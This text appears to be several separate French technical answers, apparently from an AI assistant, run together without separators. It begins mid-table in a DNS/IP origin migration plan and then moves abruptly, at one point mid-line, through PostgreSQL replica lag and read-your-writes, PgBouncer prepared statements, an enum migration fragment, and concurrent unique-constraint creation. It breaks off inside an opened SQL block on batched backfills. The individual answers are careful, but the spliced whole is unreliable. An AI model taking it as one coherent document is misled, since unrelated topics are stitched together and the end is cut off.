| Enregistrement non mis à jour sur un serveur autoritaire secondaire, ou zone non transférée | Interrogation directe de chaque NS autoritaire du domaine |
| Cache négatif ou TTL du SOA mal calibré (l'enregistrement SOA porte une valeur de TTL utilisée pour le cache négatif, cf. Wikipédia FR « Time to Live ») | Lecture du SOA de la zone |
| Réponse d'un CDN, d'un proxy ou d'un équilibreur intermédiaire avec son propre cache | Résolution depuis plusieurs réseaux et plusieurs résolveurs publics |
## 2. Action sur l'ancienne origine
**Ne rien éteindre. Maintenir 198.51.100.10 en service, fonctionnellement équivalente, jusqu'à extinction mesurée du trafic.**
Concrètement, par ordre de préférence :
1. **Option recommandée : transformer l'ancienne origine en relais vers la nouvelle** (reverse proxy HTTP transparent vers 198.51.100.20, avec conservation de l'en-tête `Host` et ajout de `X-Forwarded-For`). Avantage décisif : une seule source de vérité pour les données, donc plus aucun risque de divergence entre deux bases actives. C'est le point critique si l'application effectue des écritures : deux origines actives sur des bases distinctes produisent une perte de données silencieuse (écritures orphelines sur l'ancienne base).
2. **Si le relais est impossible** : garder l'ancienne origine active mais **en lecture seule**, et journaliser toute tentative d'écriture, afin de ne jamais créer d'état divergent.
3. **Instrumentation obligatoire** : activer sur l'ancienne IP une journalisation exhaustive des requêtes (horodatage, IP source, ASN, Host, User-Agent, chemin), car c'est cette mesure, et non le calendrier, qui pilotera la décision finale.
À ne pas faire : couper l'ancienne IP, la réattribuer, laisser expirer son certificat TLS, ou renvoyer une redirection permanente HTTP 301 vers une autre URL, une 301 étant elle-même mise en cache durablement par les navigateurs et pouvant survivre à la migration.
Mesure complémentaire utile pour l'avenir : **abaisser le TTL de l'enregistrement A** (par exemple à 300 s) *avant* toute prochaine bascule, et attendre l'expiration de l'ancien TTL long avant de basculer. Le TTL DNS peut être réduit pour des informations variant fréquemment (Wikipédia FR, « Time to Live »). Cette action est préventive et n'accélère pas la migration en cours, puisqu'elle ne s'applique qu'aux caches déjà rafraîchis.
## 3. Critère d'attente
Le critère doit être **mesuré, pas calendaire**. Trois conditions cumulatives, toutes requises :
**Condition A, borne temporelle minimale.** Soit $T_{\text{anc}}$ l'ancien TTL publié, et $t_{\text{last}}$ le dernier instant où un serveur autoritaire a pu servir l'ancienne valeur (y compris un secondaire en retard). L'attente minimale est :
$$t_{\text{sûr}} \;=\; t_{\text{last}} + T_{\text{anc}} + M$$
avec $M$ une marge de sécurité. Recommandation : $M = T_{\text{anc}}$, soit une attente totale de $2\,T_{\text{anc}}$, pour absorber les caches en cascade (résolveur d'entreprise interrogeant un forwarder, lui-même mis en cache).
Application numérique, avec la valeur courante d'un jour citée par la source ($T_{\text{anc}} = 86\,400$ s, valeur d'usage indiquée dans l'article « Time to Live » de Wikipédia FR) :
$$t_{\text{sûr}} - t_{\text{last}} = 86\,400 + 86\,400 = 172\,800\ \text{s} = 48\ \text{h}$$
**Cette durée de 48 h est une illustration : la valeur réelle de $T_{\text{anc}}$ doit être lue dans l'historique de la zone, je ne la connais pas.**
**Condition B, critère de trafic résiduel, le critère décisif.** Sur les logs de l'ancienne IP, exiger :
- trafic client légitime nul, ou strictement inférieur à un seuil défini à l'avance (par exemple $< 0{,}01\ \%$ du volume total),
- **maintenu sans interruption pendant une fenêtre d'observation d'au moins $T_{\text{anc}}$**,
- en excluant du décompte les sondes de supervision et les robots d'indexation.
**Condition C, cohérence autoritaire.** Chaque serveur NS autoritaire du domaine, interrogé directement, renvoie 198.51.100.20 et rien d'autre ; la résolution depuis plusieurs résolveurs publics et plusieurs réseaux d'accès distincts est homogène.
Point de rigueur, à ne pas contourner : **l'absence de trafic pendant une fenêtre finie ne prouve pas l'absence universelle de clients attachés à l'ancienne IP.** Un client peu fréquent, un traitement mensuel, un partenaire avec une IP codée en dur, peuvent réapparaître après la coupure. Le critère de trafic apporte une assurance opérationnelle forte, non une preuve. C'est précisément pourquoi l'action finale doit rester réversible, comme prévu ci-dessous.
## 4. Action finale
Décommissionnement **progressif et réversible**, en quatre étapes, jamais en une seule :
**Étape 1, point de retour arrière.** Avant toute coupure : sauvegarde de la configuration et des données de l'ancienne origine, snapshot restaurable, export de la zone DNS avant et après changement, procédure de rollback écrite et testée. Aucune étape suivante sans ce point de restauration.
**Étape 2, coupure observable, dite « dark period ».** Sur l'ancienne IP, remplacer le service par une réponse d'erreur explicite et journalisée (par exemple HTTP 503 avec un identifiant de migration), en gardant l'IP attribuée. Objectif : détecter les clients résiduels tout en les rendant visibles, avec retour arrière possible en quelques minutes. Durée recommandée : au moins $T_{\text{anc}}$, idéalement une période couvrant un cycle métier complet (fin de mois, traitements batch périodiques).
**Étape 3, arrêt du service.** Si l'étape 2 ne révèle aucun client résiduel : arrêt de l'application et de l'hôte, mais **conservation de la réservation de l'IP 198.51.100.10** pendant une période de quarantaine (recommandation : plusieurs semaines). Une IP réattribuée à un tiers alors que des clients la ciblent encore crée un risque de sécurité sérieux, redirection de trafic, éventuellement authentifié, vers un opérateur inconnu.
**Étape 4, libération définitive.** Suppression des enregistrements DNS résiduels pointant vers l'ancienne IP, révocation ou non-renouvellement du certificat TLS associé, retrait des règles de pare-feu et des entrées de supervision, libération de l'IP auprès de l'hébergeur, mise à jour de la documentation et des runbooks.
## Risques résiduels, à assumer explicitement
- **Divergence de données** : le risque le plus grave, si les deux origines acceptent des écritures. L'option relais de l'action 2 le supprime ; toute autre option le laisse ouvert.
- **Clients ignorant le TTL ou avec IP en dur** : non détectables par un simple délai d'attente ; c'est la dark period qui les révèle.
- **Réattribution prématurée de l'IP** : risque de détournement de trafic ; d'où la quarantaine.
- **Certificat TLS** : un certificat expiré sur l'ancienne origine pendant la fenêtre de transition provoque des erreurs de sécurité côté client et non un basculement propre.
- **L'attente ne garantit rien à elle seule** : aucune durée finie ne prouve l'absence de client résiduel. Seule la réversibilité des étapes protège réellement.
Ce qui est établi par la source citée : le rôle du TTL DNS comme durée de conservation en cache, l'obsolescence de l'information au-delà de ce délai, la possibilité de réduire le TTL pour des informations variables, et l'existence d'un TTL de cache négatif porté par l'enregistrement SOA (Wikipédia FR, article « Time to Live »). Les seuils numériques recommandés ci-dessus (marge $M = T_{\text{anc}}$, seuil de $0{,}01\ \%$, durées de quarantaine) sont des **recommandations d'ingénierie de ma part, non des valeurs normatives issues d'une source**.## 1. Nœud de lecture
**Le primaire.** Une exigence read-your-writes immédiatement après un commit primaire ne peut pas être servie par une réplique asynchrone en retard : la lecture doit être routée vers le nœud qui a produit l'écriture, ou vers une réplique dont il est **prouvé** qu'elle a rejoué le LSN du commit.
Deux variantes acceptables, par ordre de robustesse :
| Option | Mécanisme | Coût |
|---|---|---|
| A. Routage primaire | la session « après écriture » est épinglée sur le primaire pendant une fenêtre définie | charge lecture sur le primaire |
| B. Réplique + barrière LSN | on capture $LSN_{commit}$ sur le primaire, puis on n'autorise la réplique que si $LSN_{replay} \ge LSN_{commit}$ | latence d'attente, ici de l'ordre de 45 s |
| C. `synchronous_commit = remote_apply` | le commit primaire ne rend la main qu'après application sur la réplique synchrone | latence d'écriture accrue, et disponibilité dégradée si la réplique décroche |
Avec un retard de 45 s, l'option B revient pratiquement à bloquer la requête : le choix opérationnel est **A**, en gardant B comme garde-fou et C comme décision d'architecture si la contrainte est permanente.
## 2. Risque sur réplique
**Lecture périmée (stale read) violant read-your-writes.** Le client relit son propre enregistrement et obtient l'état antérieur, absent ou ancien, parce que la réplique n'a pas encore rejoué les enregistrements WAL correspondants. Ampleur du décalage :
$$256\ \text{MiB} = 256 \times 1024^2 = 268\,435\,456\ \text{octets}$$
$$\frac{268\,435\,456}{16 \times 1024^2} = 16\ \text{segments WAL de 16 MiB}$$
Débit de retard apparent :
$$\frac{256\ \text{MiB}}{45\ \text{s}} \approx 5{,}69\ \text{MiB/s}$$
Ce quotient est une **moyenne apparente**, pas une mesure du débit d'application : il ne dit pas si la réplique est saturée en I/O, bloquée par un conflit de recovery, ou simplement noyée par un pic d'écriture primaire. Le temps de rattrapage dépend du débit réel d'application $D$ et de l'écriture primaire résiduelle :
| $D$ (MiB/s) | Rattrapage si le primaire cesse d'écrire |
|---|---|
| 5 | ~51,2 s |
| 10 | ~25,6 s |
| 20 | ~12,8 s |
| 50 | ~5,1 s |
Si $D$ est inférieur au débit de génération WAL du primaire, le retard **ne se résorbe pas** : il croît sans borne. C'est le scénario à écarter en priorité.
Risques dérivés, distincts du premier :
- **anomalies applicatives en cascade** : un formulaire qui relit puis réécrit sur la base d'un état périmé produit une écriture logiquement fausse, pas seulement un affichage faux ;
- **régression temporelle perçue** : alternance de lectures primaire/réplique dans une même session, l'utilisateur voit sa donnée apparaître puis disparaître (violation de cohérence monotone des lectures) ;
- **rétention WAL** : si le retard est associé à un slot de réplication, le primaire conserve le WAL et peut saturer `pg_wal`, ce qui est un risque de **disponibilité**, pas d'intégrité.
Distinction à maintenir : il s'agit ici d'un défaut de **cohérence/fraîcheur**, non d'un défaut d'intégrité des données. Le WAL non rejoué n'est pas un WAL corrompu.
## 3. Signal
Le signal fiable est **la comparaison de LSN, pas la valeur de `replay_lag`**.
Sur le primaire, immédiatement après le commit :
```sql
-- LSN de référence à mémoriser côté application/session
SELECT pg_current_wal_lsn() AS lsn_commit;
```
Sur la réplique candidate :
```sql
SELECT pg_is_in_recovery() AS est_replique,
pg_last_wal_replay_lsn() AS lsn_rejoue,
pg_current_wal_lsn() AS lsn_recu_local,
pg_wal_lsn_diff($1, pg_last_wal_replay_lsn()) AS retard_octets;
-- $1 = lsn_commit capturé sur le primaire
```
Règle de décision, sans ambiguïté :
$$\text{réplique autorisée} \iff \text{pg\_wal\_lsn\_diff}(LSN_{commit},\ LSN_{replay}) \le 0$$
Surveillance côté primaire, pour la tendance :
```sql
SELECT client_addr, state, sync_state,
pg_wal_lsn_diff(pg_current_wal_lsn(), sent_lsn) AS retard_envoi,
pg_wal_lsn_diff(pg_current_wal_lsn(), write_lsn) AS retard_ecriture,
pg_wal_lsn_diff(pg_current_wal_lsn(), flush_lsn) AS retard_flush,
pg_wal_lsn_diff(pg_current_wal_lsn(), replay_lsn) AS retard_replay,
write_lag, flush_lag, replay_lag
FROM pg_stat_replication;
```
Pourquoi `replay_lag` seul est un signal insuffisant :
- c'est une **estimation de latence**, dérivée de l'horodatage des enregistrements WAL rejoués, et non un engagement sur un LSN précis ;
- elle peut être **trompeusement basse ou nulle** quand le primaire est inactif, alors qu'un retard en octets subsiste ;
- elle est **rétrospective** : elle décrit le passé du flux, pas la position exacte requise par la lecture en cours ;
- la décision read-your-writes porte sur un **point précis de l'historique** ($LSN_{commit}$), objet que seule la comparaison de LSN capture.
Décomposer `sent / write / flush / replay` permet en outre de localiser le goulot : réseau (`sent` en retard), I/O réplique (`write`/`flush`), ou processus de recovery mono-thread saturé et conflits (`replay` seul en retard). Cette localisation est une **hypothèse de diagnostic** à confirmer par les métriques système de la réplique et par `pg_stat_database_conflicts`.
## 4. Verdict
**Lecture sur le primaire. La réplique est disqualifiée pour cette requête.**
Justification en une chaîne : le contrat read-your-writes exige que la lecture observe au moins $LSN_{commit}$ ; la réplique est à $-256$ MiB et $-45$ s de ce point ; aucun mécanisme de la réplication asynchrone ne garantit qu'elle l'atteindra avant l'échéance de la requête ; donc la seule position garantie est celle du primaire.
Actions, dans l'ordre :
1. **Router** la lecture post-commit sur le primaire (épinglage de session sur une fenêtre paramétrée, par exemple quelques secondes après toute écriture).
2. **Implémenter la barrière LSN** comme condition d'admission de toute réplique dans le pool de lecture cohérente, avec refus par défaut si la comparaison échoue ou n'est pas calculable (fail closed).
3. **Diagnostiquer le retard** : distinguer pic d'écriture transitoire et incapacité structurelle d'application. Critère opérationnel : si le retard en octets ne décroît pas sur plusieurs fenêtres de mesure successives, le problème est structurel.
4. **Vérifier la rétention WAL** et l'espace de `pg_wal` sur le primaire, ainsi que l'état des slots, pour écarter le risque de disponibilité.
5. **Décider de l'architecture** : si l'exigence read-your-writes est permanente sur ce chemin, soit ce chemin reste primaire par conception, soit une réplique passe en `synchronous_commit = remote_apply`, en assumant explicitement le compromis latence d'écriture et disponibilité.
### Limites de cette réponse
- Les noms de fonctions et de vues cités correspondent à ma connaissance des versions modernes de PostgreSQL (`pg_last_wal_replay_lsn`, `pg_current_wal_lsn`, `pg_wal_lsn_diff`, `pg_stat_replication`, `synchronous_commit = remote_apply`). Je ne les ai pas vérifiés dans la documentation de votre version exacte : cette vérification vous incombe, ma mémoire de modèle n'est pas une preuve à jour.
- La taille de segment de 16 MiB est la **valeur par défaut usuelle**, pas une certitude sur votre instance : elle est configurable à l'initialisation du cluster. Le calcul « 16 segments » est donc conditionnel.
- Les temps de rattrapage tabulés sont des **projections arithmétiques** sous hypothèse de débit constant et de primaire silencieux, non des mesures de votre système.
- Le concept mobilisé ici, la lecture d'une réplique renvoyant un état antérieur à une écriture causalement précédente, correspond à un affaiblissement des modèles de cohérence forte décrit dans l'article « Modèle de cohérence » de l'encyclopédie locale (Wikipédia en français), qui formalise le cas d'un client A écrivant sur un nœud M et d'un client B lisant le nœud N après un délai $t$.## 1. Diagnostic **Portée d'une prepared statement nommée en PostgreSQL : la session, pas la transaction.** Un `PREPARE nom (...) AS ...` ou un message protocole `Parse` avec un nom non vide crée un objet qui vit dans l'état de la connexion serveur (backend). Il persiste au-delà du `COMMIT` et jusqu'au `DEALLOCATE`, à un `DISCARD ALL`, ou à la fin de la session. Il n'est jamais partagé entre deux sessions distinctes. Ce caractère d'état lié à la session est bien la propriété générale des protocoles SQL : « SQL databases typically use stateful, binary protocols that maintain session-specific information, such as transaction states and prepared statements » (Wikipédia EN, article *Connection pool*). Le cycle Prepare / Compile / Execute avec conservation côté serveur du template compilé est décrit dans Wikipédia EN, article *Prepared statement*. **L'hypothèse applicative est donc fausse dès qu'un pooler en mode transaction s'interpose.** ## 2. Cause d'échec En `pool_mode = transaction`, PgBouncer n'associe une connexion serveur à un client que pour la durée d'une transaction, puis la rend au pool. La transaction suivante du même client peut être servie par une **autre** connexion serveur, sur laquelle le nom déclaré n'a jamais existé. Chaîne causale : | Étape | Client (via PgBouncer) | Connexion serveur réelle | État | |---|---|---|---| | T1 | `PREPARE stmt_a AS SELECT ...` | backend #7 | `stmt_a` existe sur #7 | | fin T1 | `COMMIT` | #7 rendu au pool | inchangé | | T2 | `EXECUTE stmt_a (...)` | backend #12 | `stmt_a` inconnu, échec | L'erreur attendue est de la classe `invalid_sql_statement_name`, SQLSTATE **26000**, avec un message du type « prepared statement "..." does not exist ». Ces identifiants proviennent de ma connaissance de PostgreSQL et non de l'encyclopédie locale : vérifiez-les dans la table des codes d'erreur de la documentation PostgreSQL de votre version. Aggravations classiques, que je présente comme hypothèses à confirmer sur votre installation : - le pilote fait du **caching implicite** : le nom n'est pas écrit par vous mais généré par le driver (`S_1`, `S_2`...), donc l'échec paraît aléatoire et non reproductible en session directe ; - l'échec est **intermittent** : tant que le hasard renvoie la même connexion serveur (pool peu chargé), tout fonctionne ; la panne apparaît sous charge, ce qui est le pire profil de bug ; - inversement, un nom réutilisé pour un **SQL différent** peut produire un résultat faux plutôt qu'une erreur, si le nom existe déjà sur le backend avec un autre corps. C'est un risque de corruption logique, pas seulement de disponibilité. Point de vigilance sur le nettoyage : PgBouncer dispose d'un `server_reset_query` (typiquement `DISCARD ALL`) et d'un `server_reset_query_always`. Selon leur réglage, l'état résiduel est purgé ou non entre usages. Je ne peux pas vérifier hors ligne les valeurs par défaut exactes de votre version : lisez `pgbouncer.ini(5)` et la sortie de `SHOW CONFIG;` sur la console d'administration avant de conclure quoi que ce soit sur votre cas. ## 3. Mode compatible | Mode PgBouncer | Prepared statement nommée persistante entre transactions | Commentaire | |---|---|---| | `session` | Oui | La connexion serveur reste affectée au client pour toute la durée de sa session ; la sémantique PostgreSQL native est préservée. C'est le seul mode compatible sans réécriture. | | `transaction` | Non par défaut | Cause d'échec ci-dessus. | | `statement` | Non | Encore plus restrictif ; ne convient pas non plus aux transactions multi-instructions. | Le coût de `session` est direct et doit être assumé : le taux de multiplexage s'effondre, chaque client occupe un backend PostgreSQL pendant toute sa session, ce qui annule l'essentiel du bénéfice du pooler. C'est un compromis, pas une victoire. Élément complémentaire à vérifier avant décision : **PgBouncer a introduit, à partir de la branche 1.21, une prise en charge des prepared statements nommées au niveau protocole en mode transaction, via un paramètre de type `max_prepared_statements`** ; PgBouncer suit alors les noms par client et les rejoue sur le backend courant. Cette information vient de ma connaissance et n'est pas confirmable avec mes sources hors ligne : contrôlez-la avec `pgbouncer --version` et le fichier de configuration documenté de votre version. À ma connaissance, cette prise en charge concerne le **protocole étendu** et **non** le `PREPARE` / `EXECUTE` de niveau SQL, qui reste incompatible avec le mode transaction. Si votre code utilise le SQL explicite, ce chemin ne vous sauvera pas. ## 4. Alternative applicative Ordre de préférence, du plus robuste au plus coûteux. **A. Supprimer l'hypothèse de persistance : re-préparer dans la transaction qui exécute.** Toute prepared statement doit être créée et consommée dans la même transaction, sans jamais franchir un `COMMIT`. Le paramétrage, donc la protection contre l'injection SQL, est intégralement conservé : c'est le **binding de paramètres** qui protège, pas la persistance du nom. **B. Utiliser l'énoncé non nommé du protocole étendu, ou désactiver le cache de statements du pilote.** Réglages à confirmer dans la documentation de chaque pilote, je les donne de mémoire : | Pilote | Levier plausible à vérifier | |---|---| | JDBC (pgjdbc) | `prepareThreshold=0` | | psycopg 3 | `prepare_threshold=None` sur la connexion | | asyncpg | `statement_cache_size=0` | | Npgsql | `Max Auto Prepare=0` | Ne me croyez pas sur parole : validez chaque nom d'option dans la doc du pilote, une option mal orthographiée est souvent ignorée en silence et vous laisse croire au correctif. **C. Déplacer la logique côté serveur de façon sans état de session.** Une fonction ou procédure SQL/PLpgSQL, ou une vue, est un objet du **catalogue** et non de la session : elle survit à tout changement de backend et bénéficie du plan mis en cache côté serveur. C'est l'équivalent fonctionnel durable de l'intention initiale, avec l'avantage supplémentaire d'un contrôle des privilèges par objet. **D. Séparer les chemins de trafic.** Router le composant qui exige un état de session vers un pool dédié en `pool_mode = session`, voire en connexion directe, et laisser le reste du trafic sur le pool transactionnel. C'est la solution qui préserve le mieux la scalabilité globale, au prix d'une topologie plus complexe à exploiter. **E. Recours au suivi natif de PgBouncer (voir section 3)**, uniquement après vérification de la version et du protocole employé, et seulement pour du protocole étendu. ## 5. Vérification 1. Reproduire de façon déterministe : forcer `default_pool_size = 2` sur un pool de test, lancer deux clients concurrents, exécuter `PREPARE` en T1 puis `EXECUTE` en T2, et confirmer le SQLSTATE `26000`. 2. Prouver l'origine par observation directe de l'identité du backend, et non par déduction : ```sql SELECT pg_backend_pid(); SELECT name, statement FROM pg_prepared_statements; ``` Exécutez ces deux requêtes dans T1 puis dans T2 : un PID différent en T2 et un `pg_prepared_statements` vide établissent le changement de connexion serveur. Une simple erreur applicative, elle, ne prouve pas à elle seule la cause. 3. Contrôler la configuration réelle du pooler avec `SHOW CONFIG;` et `SHOW POOLS;` sur la console d'administration PgBouncer, plutôt que de supposer les valeurs par défaut. 4. Ajouter un test d'intégration non contournable, avec assertion, qui échoue si une prepared statement nommée franchit un `COMMIT`, et l'exécuter contre le pooler et non contre PostgreSQL en direct. Un test qui passe en connexion directe ne démontre rien ici. Je n'ai exécuté aucune de ces commandes : je ne dispose ni de votre instance ni d'un accès réseau. ## 6. Risques et limites - **Passer en `session` n'est pas neutre** : risque d'épuisement de `max_connections` côté PostgreSQL et de files d'attente clientes. Dimensionnez `max_client_conn`, `default_pool_size` et `max_connections` de façon cohérente avant bascule, et surveillez les attentes. - **Aucun changement de `pool_mode` n'est « sans risque »** : c'est une modification de configuration du chemin de données, à passer par un rechargement contrôlé (`RELOAD;`) avec plan de retour arrière, sur un créneau observé, et non un simple redémarrage à chaud non documenté. - **Ne réduisez pas ce problème à une erreur ponctuelle** : le fait qu'un nombre fini d'exécutions réussisse ne démontre aucune correction. Seul un invariant applicatif, à savoir « aucun nom de statement ne franchit une frontière de transaction », garantit la propriété de façon universelle. Une réussite en préproduction sous faible charge est un artefact d'affinité de connexion, pas une preuve. - **Risque de correction faussement validée** : si vous désactivez le cache de statements du pilote sans vérifier le nom exact de l'option, le comportement demeure et l'incident reparaîtra sous charge. - **Risque de résultat silencieusement faux** en cas de collision de noms sur un backend réutilisé ; ce scénario touche l'**intégrité** des réponses, pas seulement la disponibilité, et mérite un audit des noms générés. - **Incertitude assumée** : les détails propres à PgBouncer (numéro de version d'introduction du suivi des prepared statements, nom exact du paramètre, valeurs par défaut de `server_reset_query`) reposent sur ma mémoire de modèle, potentiellement périmée, et ne sont pas confirmés par mes encyclopédies locales, qui ne documentent PgBouncer que par simple mention (Wikipédia EN, *Connection pool*). Considérez-les comme des pistes à vérifier dans la documentation officielle de votre version, non comme des faits établis.
1. Déployer partout une version capable de lire `ARCHIVED` et les valeurs inconnues, sans encore écrire `ARCHIVED`. 2. Ajouter `ARCHIVED` à l’enum PostgreSQL avec `ALTER TYPE ... ADD VALUE`. 3. Après disparition de toutes les anciennes instances et de tous les anciens consommateurs, activer progressivement l’écriture de `ARCHIVED`. 4. Une fois le déploiement stabilisé, supprimer le feature flag et le code de transition, tout en conservant la prise en charge de `ARCHIVED`.
## Diagnostic
Deux avertissements de rigueur avant la séquence.
**1. Le mot « validation » ne peut pas désigner ici un `VALIDATE CONSTRAINT`.** D'après ma connaissance du comportement de PostgreSQL, le couple `ADD CONSTRAINT ... NOT VALID` puis `VALIDATE CONSTRAINT` n'est disponible que pour les contraintes `CHECK` et `FOREIGN KEY`, pas pour `UNIQUE` ni `PRIMARY KEY`. La quatrième opération est donc une **validation fonctionnelle post-déploiement** (vérification catalogue + test de comportement), et non une instruction SQL de validation différée. Je signale ce point car la prémisse de la question peut le laisser croire.
**2. Sur la source.** J'ai interrogé l'encyclopédie locale LANXAS (requêtes « PostgreSQL index concurrent verrou ALTER TABLE contrainte unique » et « PostgreSQL CREATE INDEX CONCURRENTLY lock modes ») : aucun article ne documente les modes de verrouillage. Ce qui suit relève donc de ma connaissance du moteur, **non d'une source que je peux vous citer ici**. À confirmer sur la documentation officielle de votre version exacte, chapitres *Explicit Locking* et *CREATE INDEX*. Ma mémoire de modèle n'est pas une preuve à jour.
Hypothèses retenues, faute de précision dans votre demande : PostgreSQL ≥ 12, table `users` volumineuse, trafic d'écriture continu, réplication éventuelle.
---
## Opération 1, recherche de doublons (aucun verrou bloquant)
Lecture seule, `ACCESS SHARE` uniquement, ne bloque aucune écriture.
```sql
-- Doublons sur valeurs non nulles
SELECT email_normalized, count(*) AS n, min(id) AS keep_id, array_agg(id ORDER BY id) AS all_ids
FROM users
WHERE email_normalized IS NOT NULL
GROUP BY email_normalized
HAVING count(*) > 1
ORDER BY n DESC, email_normalized
LIMIT 500;
-- Volumétrie des NULL, décisive pour le choix NULLS DISTINCT / NOT DISTINCT
SELECT count(*) FILTER (WHERE email_normalized IS NULL) AS nb_null,
count(*) AS total
FROM users;
```
Trois pièges à trancher **ici**, pas plus tard :
- Par défaut, `UNIQUE` est `NULLS DISTINCT` : plusieurs `NULL` restent autorisés. Si vous voulez l'inverse, `NULLS NOT DISTINCT` existe, mais seulement à partir de PostgreSQL 15 selon ma connaissance, à vérifier sur votre version.
- La détection est un instantané : de nouveaux doublons peuvent apparaître **entre** l'opération 1 et l'opération 2. L'opération 2 les rejettera, d'où la nécessité de son contrôle de validité.
- La remédiation des doublons (fusion, suffixage, mise à `NULL`) est une **opération métier** : elle exige un point de sauvegarde restaurable et un accord explicite avant toute écriture, et doit se faire par lots bornés (`... WHERE id IN (...)` avec `LIMIT`), jamais en un seul `UPDATE`/`DELETE` massif.
---
## Opération 2, index unique concurrent (verrou faible, longue durée)
```sql
-- Hors transaction explicite : CONCURRENTLY est interdit dans un bloc BEGIN/COMMIT
CREATE UNIQUE INDEX CONCURRENTLY users_email_normalized_uniq_idx
ON users (email_normalized);
```
Ce que cela coûte : un verrou `SHARE UPDATE EXCLUSIVE`, qui **n'empêche pas** `SELECT`, `INSERT`, `UPDATE`, `DELETE`. Le prix payé est la durée (deux parcours de table, attente des transactions concurrentes) et l'absence de rollback transactionnel.
Contrôle obligatoire, car un échec laisse un index **invalide** qui continue de peser sur les écritures :
```sql
SELECT c.relname, i.indisvalid, i.indisready, i.indisunique
FROM pg_index i
JOIN pg_class c ON c.oid = i.indexrelid
WHERE c.relname = 'users_email_normalized_uniq_idx';
```
Si `indisvalid = false` : `DROP INDEX CONCURRENTLY users_email_normalized_uniq_idx;`, corriger les doublons apparus entre-temps, recommencer. Ne conservez jamais un index invalide.
Préparation indispensable : `CREATE INDEX CONCURRENTLY` attend la fin de toutes les transactions ouvertes. Surveillez-les avant et pendant :
```sql
SELECT pid, state, wait_event_type, xact_start, now() - xact_start AS age, left(query, 120)
FROM pg_stat_activity
WHERE xact_start IS NOT NULL AND now() - xact_start > interval '1 minute'
ORDER BY xact_start;
```
Sur une réplication en flux, une longue construction d'index sur le primaire peut provoquer des conflits de restauration ou du retard sur les secondaires : vérifiez `max_standby_streaming_delay` et le retard des secondaires avant de lancer.
---
## Opération 3, attachement de la contrainte (verrou fort, durée minimale)
```sql
BEGIN;
SET LOCAL lock_timeout = '3s'; -- échouer vite plutôt que bloquer la file d'attente
ALTER TABLE users
ADD CONSTRAINT users_email_normalized_key
UNIQUE USING INDEX users_email_normalized_uniq_idx;
COMMIT;
```
C'est le cœur de la stratégie : `USING INDEX` réutilise l'index déjà construit, donc **aucun parcours de table**. Le verrou est `ACCESS EXCLUSIVE`, donc totalement bloquant, mais son maintien se limite à une opération de catalogue.
Le `lock_timeout` n'est pas une précaution cosmétique : sans lui, l'`ALTER TABLE` en attente bloque à son tour toutes les lectures qui arrivent derrière (effet de file d'attente sur le verrou), ce qui transforme une opération de quelques millisecondes en incident de production. En cas de `55P03 lock_not_available`, réessayez en boucle avec temporisation, idéalement en période creuse.
Effet de bord à connaître : l'index est renommé au nom de la contrainte. Si votre code, vos scripts de supervision ou vos `pg_dump` filtrés référencent le nom d'index d'origine, mettez-les à jour.
---
## Opération 4, validation fonctionnelle (aucun verrou notable)
Deux volets, structurel puis comportemental.
Volet structurel, sur le catalogue :
```sql
SELECT con.conname, con.contype, con.convalidated,
pg_get_constraintdef(con.oid) AS definition,
idx.relname AS backing_index, i.indisvalid
FROM pg_constraint con
JOIN pg_class idx ON idx.oid = con.conindid
JOIN pg_index i ON i.indexrelid = con.conindid
WHERE con.conrelid = 'users'::regclass
AND con.contype = 'u';
```
Attendu : `contype = 'u'`, `convalidated = true`, `indisvalid = true`, définition `UNIQUE (email_normalized)`.
Volet comportemental, test réel annulé, la seule preuve que la contrainte s'applique bien aux écritures :
```sql
BEGIN;
SET LOCAL statement_timeout = '5s';
-- Doit lever 23505 unique_violation
INSERT INTO users (email_normalized)
SELECT email_normalized FROM users WHERE email_normalized IS NOT NULL LIMIT 1;
ROLLBACK; -- ROLLBACK inconditionnel : ce test ne doit rien laisser en base
```
Adaptez la liste de colonnes aux `NOT NULL` de votre schéma. Si aucune erreur `23505` n'est levée, la contrainte n'est pas effective : n'annoncez pas le succès.
Point de rigueur : le retour `COMMIT` de l'opération 3 ne prouve pas à lui seul que la garantie d'unicité est en place. Seul le couple catalogue + test d'insertion l'établit, et il l'établit **pour l'instant du test**, pas universellement pour l'avenir. La garantie future repose sur l'invariant maintenu par le moteur, non sur ce test fini.
---
## Synthèse
| # | Opération | Verrou | Durée | Bloque les écritures |
|---|-----------|--------|-------|----------------------|
| 1 | `SELECT ... GROUP BY HAVING` | `ACCESS SHARE` | longue | non |
| 2 | `CREATE UNIQUE INDEX CONCURRENTLY` | `SHARE UPDATE EXCLUSIVE` | longue | non |
| 3 | `ALTER TABLE ... UNIQUE USING INDEX` | `ACCESS EXCLUSIVE` | très brève | oui, brièvement |
| 4 | Vérification catalogue + test annulé | `ACCESS SHARE` / `ROW EXCLUSIVE` annulé | brève | non |
## Rollback
Ordre inverse strict. `ALTER TABLE users DROP CONSTRAINT users_email_normalized_key;` supprime aussi l'index sous-jacent : c'est le retour arrière après l'opération 3. Avant l'opération 3, le retour arrière est `DROP INDEX CONCURRENTLY users_email_normalized_uniq_idx;`. Aucune de ces deux commandes ne doit être lancée sans accord explicite de l'opérateur, la seconde étant destructive d'un travail long.
## Risques résiduels, non nuls
- **Aucune de ces étapes n'est « sans risque ».** L'opération 3 provoque une indisponibilité brève ; sous forte concurrence et sans `lock_timeout`, elle peut dégénérer.
- Nouveaux doublons insérés entre les opérations 1 et 2 : détectés par `indisvalid`, mais imposent de recommencer.
- Charge en écriture accrue et gonflement du WAL pendant l'opération 2, avec impact possible sur la réplication et les sauvegardes.
- La sémantique des `NULL` (`NULLS DISTINCT` par défaut) peut ne pas correspondre à votre règle métier : à trancher avant l'opération 2, car la changer après impose de reconstruire l'index.
- Cette séquence suppose que la normalisation de `email_normalized` est déjà cohérente en amont (casse, espaces). Une contrainte d'unicité sur une colonne mal normalisée donne une fausse assurance.
- Séquence non exécutée par moi : je n'ai pas accès à votre base. Testez d'abord sur une copie de préproduction de volumétrie comparable, et mesurez la durée réelle de l'opération 2.**Ligne de contrôle demandée**
```
batch=5 000 lignes par clé croissante | pace=pause adaptative pilotée par le retard de réplication (cible <= 2 s) | checkpoint=filigrane (last_id) commité dans la MÊME transaction que le lot | stop=lag, erreurs, fenêtre horaire ou drapeau d'arrêt
```
Les quatre mécanismes en détail. Les seuils chiffrés ci-dessous sont des **valeurs de départ à calibrer**, pas des faits mesurés sur votre système : je n'ai accès ni à votre schéma, ni à vos métriques.
---
## 1. batch, taille de lot bornée et itération par clé
Principe : jamais `UPDATE ... WHERE cond` global (une seule transaction géante, verrous longs, un seul enregistrement WAL/binlog massif). On découpe par **pagination sur clé** (keyset), pas par `OFFSET` (dont le coût croît linéairement).
```sql
